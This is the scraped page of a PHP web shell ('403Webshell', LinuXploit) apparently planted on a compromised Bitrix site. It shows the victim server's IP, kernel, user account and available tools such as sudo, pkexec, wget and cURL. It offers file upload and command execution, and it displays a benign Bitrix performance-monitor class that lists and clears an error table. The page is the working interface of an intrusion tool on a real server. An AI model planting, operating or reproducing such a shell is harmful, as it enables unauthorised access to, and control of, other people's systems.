403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/perfmon/classes/general/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/perfmon/classes/general/error.php
<?php

class CPerfomanceError
{
	public static function Delete($arFilter)
	{
		global $DB;

		$obQueryWhere = new CSQLWhere;
		$obQueryWhere->SetFields([
			'HIT_ID' => [
				'TABLE_ALIAS' => 'e',
				'FIELD_NAME' => 'HIT_ID',
				'FIELD_TYPE' => 'int',
				'JOIN' => false,
			],
			'ERRNO' => [
				'TABLE_ALIAS' => 'e',
				'FIELD_NAME' => 'ERRNO',
				'FIELD_TYPE' => 'int',
				'JOIN' => false,
			],
			'ERRFILE' => [
				'TABLE_ALIAS' => 'e',
				'FIELD_NAME' => 'ERRFILE',
				'FIELD_TYPE' => 'string',
				'JOIN' => false,
			],
			'ERRSTR' => [
				'TABLE_ALIAS' => 'e',
				'FIELD_NAME' => 'ERRSTR',
				'FIELD_TYPE' => 'string',
				'JOIN' => false,
			],
			'ERRLINE' => [
				'TABLE_ALIAS' => 'e',
				'FIELD_NAME' => 'ERRLINE',
				'FIELD_TYPE' => 'int',
				'JOIN' => false,
			],
		]);

		$strSql = '
			DELETE FROM b_perf_error
		';
		if (!is_array($arFilter))
		{
			$arFilter = [];
		}
		if ($strQueryWhere = $obQueryWhere->GetQuery($arFilter))
		{
			$strSql .= '
				WHERE
				' . $strQueryWhere . '
			';
		}

		return $DB->Query($strSql);
	}

	public static function GetList($arSelect, $arFilter, $arOrder, $bGroup = false)
	{
		global $DB;

		if (!is_array($arSelect))
		{
			$arSelect = [];
		}
		if (count($arSelect) < 1)
		{
			$arSelect = [
				'ID',
				'HIT_ID',
				'ERRNO',
				'ERRFILE',
				'ERRLINE',
				'ERRSTR',
			];
		}

		if (!is_array($arOrder))
		{
			$arOrder = [];
		}
		if (count($arOrder) < 1)
		{
			$arOrder = [
				'HIT_ID' => 'DESC',
				'ID' => 'DESC',
			];
		}

		$arQueryOrder = [];
		foreach ($arOrder as $strColumn => $strDirection)
		{
			$strColumn = mb_strtoupper($strColumn);
			$strDirection = mb_strtoupper($strDirection) === 'ASC' ? 'ASC' : 'DESC';
			switch ($strColumn)
			{
			case 'ID':
			case 'HIT_ID':
			case 'ERRNO':
			case 'ERRFILE':
			case 'ERRLINE':
			case 'ERRSTR':
				$arSelect[] = $strColumn;
				$arQueryOrder[$strColumn] = $strColumn . ' ' . $strDirection;
				break;
			case 'COUNT':
				if ($bGroup)
				{
					$arSelect[] = $strColumn;
					$arQueryOrder[$strColumn] = $strColumn . ' ' . $strDirection;
				}
				break;
			}
		}

		$arQueryGroup = [];
		$arQuerySelect = [];
		foreach ($arSelect as $strColumn)
		{
			$strColumn = mb_strtoupper($strColumn);
			switch ($strColumn)
			{
			case 'ID':
			case 'HIT_ID':
				if (!$bGroup)
				{
					$arQuerySelect[$strColumn] = 'e.' . $strColumn;
				}
				break;
			case 'ERRNO':
			case 'ERRFILE':
			case 'ERRLINE':
			case 'ERRSTR':
				if ($bGroup)
				{
					$arQueryGroup[$strColumn] = 'e.' . $strColumn;
				}
				$arQuerySelect[$strColumn] = 'e.' . $strColumn;
				break;
			case 'COUNT':
				if ($bGroup)
				{
					$arQuerySelect[$strColumn] = 'COUNT(e.ID) ' . $strColumn;
				}
				break;
			}
		}

		$obQueryWhere = new CSQLWhere;
		$obQueryWhere->SetFields([
			'HIT_ID' => [
				'TABLE_ALIAS' => 'e',
				'FIELD_NAME' => 'HIT_ID',
				'FIELD_TYPE' => 'int',
				'JOIN' => false,
			],
			'ERRNO' => [
				'TABLE_ALIAS' => 'e',
				'FIELD_NAME' => 'ERRNO',
				'FIELD_TYPE' => 'int',
				'JOIN' => false,
			],
			'ERRFILE' => [
				'TABLE_ALIAS' => 'e',
				'FIELD_NAME' => 'ERRFILE',
				'FIELD_TYPE' => 'string',
				'JOIN' => false,
			],
			'ERRSTR' => [
				'TABLE_ALIAS' => 'e',
				'FIELD_NAME' => 'ERRSTR',
				'FIELD_TYPE' => 'string',
				'JOIN' => false,
			],
			'ERRLINE' => [
				'TABLE_ALIAS' => 'e',
				'FIELD_NAME' => 'ERRLINE',
				'FIELD_TYPE' => 'int',
				'JOIN' => false,
			],
		]);

		if (count($arQuerySelect) < 1)
		{
			$arQuerySelect = ['ID' => 'e.ID'];
		}

		$strSql = '
			SELECT
			' . implode(', ', $arQuerySelect) . '
			FROM
				b_perf_error e
		';
		if (!is_array($arFilter))
		{
			$arFilter = [];
		}
		if ($strQueryWhere = $obQueryWhere->GetQuery($arFilter))
		{
			$strSql .= '
				WHERE
				' . $strQueryWhere . '
			';
		}
		if ($bGroup && count($arQueryGroup) > 0)
		{
			$strSql .= '
				GROUP BY
				' . implode(', ', $arQueryGroup) . '
			';
		}
		if (count($arQueryOrder) > 0)
		{
			$strSql .= '
				ORDER BY
				' . implode(', ', $arQueryOrder) . '
			';
		}

		return $DB->Query($strSql);
	}

	public static function Clear()
	{
		global $DB;
		return $DB->Query('TRUNCATE TABLE b_perf_error');
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit